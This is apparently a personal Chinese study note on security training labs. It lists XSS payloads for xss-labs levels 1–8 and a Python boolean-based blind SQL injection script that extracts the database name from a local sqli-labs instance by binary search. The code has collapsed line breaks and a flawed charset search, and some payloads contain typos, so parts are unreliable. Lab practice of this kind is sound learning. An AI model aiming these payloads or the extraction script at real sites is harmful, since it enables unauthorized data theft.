??學習目標：

• xss-1abs 1-8關
• python美現自動化布爾自注的2、代碼進行優化(二分查找)

---

學習內容：

1.xss-1abs 1-8關

1

<h2 align="center">歡迎用戶test</h2>

2? ?<script> alert (1)</script&gt

<center>
<form action="level2.php" method="GET">
<input name="keyword" value="test">
<input type="submit" name="submit" value="搜索">
</form>
</center>

3? ? ?<form action-level3.php method=GET>
Kinput name-keyword value='&lt:script&gt:alert（111）&lt:/script&gt:'>

4同理3

5? ? ?'<scr_ipt>alert (11)</script>">

6? ? ? ?<a hr_ef=javascript: alert (1)> <"">

7? ? ?<a =java:alert(1)> <"">

8

2.python美現自動化布爾自動的代碼進行優化(二分查找)

import requests# 目標URL
url = "http://127.0.0.1/sqli/Less-8/index.php"# 要推斷的數據庫信息（例如：數據庫名）
database_name = ""# 字符集（可以根據需要擴展）
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "# 推斷數據庫名的長度def get_database_length():low = 1high = 50  # 保持原有的最大長度限制result = 0while low <= high:mid = (low + high) // 2# 檢查長度是否等于midpayload = f"1' AND (SELECT length(database()) = {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return mid# 檢查長度是否大于midpayload = f"1' AND (SELECT length(database()) > {mid}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:low = mid + 1else:high = mid - 1return 0# 推斷數據庫名def get_database_name(length):db_name = ""for i in range(1, length + 1):low = 0high = len(charset) - 1# 二分查找當前位置的字符while low <= high:mid = (low + high) // 2mid_char = charset[mid]# 比較ASCII值判斷字符范圍payload = f"1' AND ORD(SUBSTRING(database(), {i}, 1)) > ORD('{mid_char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:low = mid + 1else:high = mid - 1# 驗證找到的字符if 0 <= low < len(charset):db_name += charset[low]return db_name# 主函數# 如果當前模塊是主模塊，則執行以下代碼
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

---

學習時間：

學習時間為學習時間

內容為筆記【有時比較抽象，有時比較過于詳細，請寬恕。作者可能寫的是僅個人筆記，筋肉人future】??

---

學習產出：

• 技術筆記 1遍
• 有錯誤請指出，作者會及時改正